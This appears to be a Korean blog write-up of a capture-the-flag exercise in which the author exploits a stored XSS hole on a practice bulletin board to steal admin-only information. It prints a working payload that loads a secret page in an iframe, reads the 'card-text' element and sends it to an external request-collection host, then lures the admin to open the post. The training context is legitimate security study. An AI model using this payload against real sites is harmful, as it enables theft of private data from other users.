상세 컨텐츠

본문 제목

Segfault CTF - (11주 차) Steal Info

IT(Information Technology)/보안 - CTF문제

by 디멘터 2024. 6. 29. 18:42

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)


※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - Steal Info

1. 목표 : XSS를 이용해서 중요 정보를 탈취해라!

2. 실행 

  • XSS 취약점 찾기
    게시판에 들어가 보니 전에 작성했던 글들이 있다. 취약점은 게시글의 내용에서 스크립트가 실행된다.

  • 작전 구상
    ①중요정보가 있는 페이지가 따로 제시되었다. iframe을 사용해야 하는 것 같다.
    ②중요정보와 같은 페이지를 제시해 준 것을 봐서 요소의 name이나 id를 파악하라는 뜻 같다.
    ③나머지는 지금껏 해왔던 것과 같다.

  • 실행 과정
    • 탈취할 요소 파악하기
      제시해 준 똑같은 페이지에 들어가서 관리자도구로 살펴본다.
      아주 중요한 정보가 나타나는 곳의 calssName이 card-text로 파악되었다.
      클래스 네임이 card-text인 것을 유심히 찾아보자!

    • iframe 및 스크립트 삽입하기
      (코드가 이해가 안 된다면,  [보안 공부] 11주 차 - XSS 활용 기초를 참고.)

      코드내용
      <iframe id="attackIframe" src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" style="width:400px;"></iframe>
      <script>
          document.getElementById('attackIframe').addEventListener('load'function() {
              var iframeDocument = this.contentDocument || this.contentWindow.document;
              var data = iframeDocument.getElementsByClassName('card-text')[1].textContent;
              location.href = 'https://enmqaeuyiny5.x.pipedream.net/?data=' + data;
          });
      </script>

    • 관리자에게 URL로 게시글에 접속하도록 유도
      관리자가 해당 게시글에 접속하였다.
    • 플래그 탈취
      플래그가 왔다.

 

관련글 더보기